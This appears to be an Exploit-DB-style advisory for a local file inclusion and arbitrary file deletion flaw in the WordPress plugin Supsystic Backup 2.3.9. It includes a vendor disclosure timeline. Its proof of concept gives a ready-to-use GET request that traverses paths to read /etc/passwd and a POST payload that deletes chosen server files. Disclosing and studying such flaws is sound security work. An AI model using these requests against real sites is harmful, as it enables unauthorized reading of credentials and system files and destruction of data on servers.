WordPress Supsystic Backup 2.3.9 Local File Inclusion

`# Exploit Title: WordPress Plugin Supsystic Backup 2.3.9 - Local File Inclusion  
# Date: 24/07/2020  
# Exploit Author: Erik David Martin  
# Vendor Homepage: https://supsystic.com/  
# Software Link: https://downloads.wordpress.org/plugin/backup-by-supsystic.zip  
# Version: 2.3.9  
# Tested on: Ubuntu 16.04.6 LTS / WordPress 5.4.2  
  
  
# 25/07 2020: Vendor notified  
# 27/07 2020: Vendor requested detailed information  
# 27/07 2020: Information provided  
# 07/08 2020: Nudged vendor. No reply  
# 22/08 2020: Nudged vendor. No reply  
# 04/10 2020: Nudged vendor. No reply.  
# 29/11 2020: WordPress Plugin Security team contacted  
# 01/12 2020: Plugin/Project closed by WordPress Security team  
  
  
# 1. Description  
  
Changing the path when downloading the stored backup allows an attacker to both read and delete internal system files (LFI).  
  
  
# 2. Proof of Concept (PoC)  
  
Create a backup. When downloading the backup, change its path:  
  
GET http://192.168.0.49/wp-admin/admin.php?page=supsystic-backup&tab=bupLog&download=../../../../../../../../../etc/passwd  
  
  
The "Delete" tab also allows an attacker to delete files on the server:  
  
POST http://192.168.0.49/wp-admin/admin.php?page=supsystic-backup&tab=bupLog  
Payload: reqType=ajax&page=backup&action=removeAction&filename=[FILE PATH]&deleteLog=1&pl=bup  
  
  
`